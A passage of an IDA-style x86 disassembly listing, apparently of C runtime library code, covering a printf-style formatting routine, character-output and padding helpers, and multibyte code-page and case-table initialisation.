		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43CBF0
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------


loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1


loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43CF80
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43CF8C
		pop	ecx


loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43CF84
		pop	ecx


loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi


loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------


loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43CBF0
		mov	[ebp+var_8], ecx


loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx


loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8


loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7


loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------


loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h


loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah


loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax


loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx


loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03


loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------


loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0


loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------


loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0


loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E


loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]


loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------


loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9


loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax


loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h


loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1


loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h


loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------


loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h


loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB


loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------


loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]


loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26


loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C


loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DCDA4
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43CC00


loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43CCF0
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 28A0000h
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DCEC0
		cmp	[ebp+var_18], 1
		mov	dword_4DCDA4, esi
		rep stosd
		stosb
		mov	dword_4DCFC4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]


loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DCEC1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------


loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DCEC0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43CC10[esi]


loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2


loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43CBF8[edx]


loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DCEC1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90


loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76


loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DCDBC, 1
		push	eax
		mov	dword_4DCDA4, eax
		call	sub_42008C
		lea	esi, dword_43CC04[esi]
		mov	edi, offset dword_4DCDB0
		movsd
		movsd
		pop	ecx
		mov	dword_4DCFC4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30


loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax


loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DCEC1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DCFC4, eax
		mov	dword_4DCDBC, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DCDBC, ebx


loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DCDB0
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB9E0, ebx
		jz	short loc_42003A


loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF


loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8


loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------


loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh


loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB9E0, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB9E0, 1
		nop
		jmp	near ptr 26608B7h
; ---------------------------------------------------------------------------


loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB9E0, 1
		nop
		jmp	near ptr 28A0701h
; ---------------------------------------------------------------------------


loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DBA24
		mov	dword_4DB9E0, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DCEC0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DCDB0
		mov	dword_4DCDA4, eax
		mov	dword_4DCDBC, eax
		mov	dword_4DCFC4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DCDA4
		nop
		call	near ptr 28A0000h
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h


loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx


loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DCFC4
		push	dword_4DCDA4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DCDA4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DCFC4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DCDA4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DCFC4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DCEC1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DCDC0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------


loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DCEC1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------


loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DCDC0[eax], 0


loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------


loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DCEC1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DCDC0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------


loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DCEC1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------


loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DCDC0[eax], 0


loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228


loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DCFF4, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DCFF4, 1
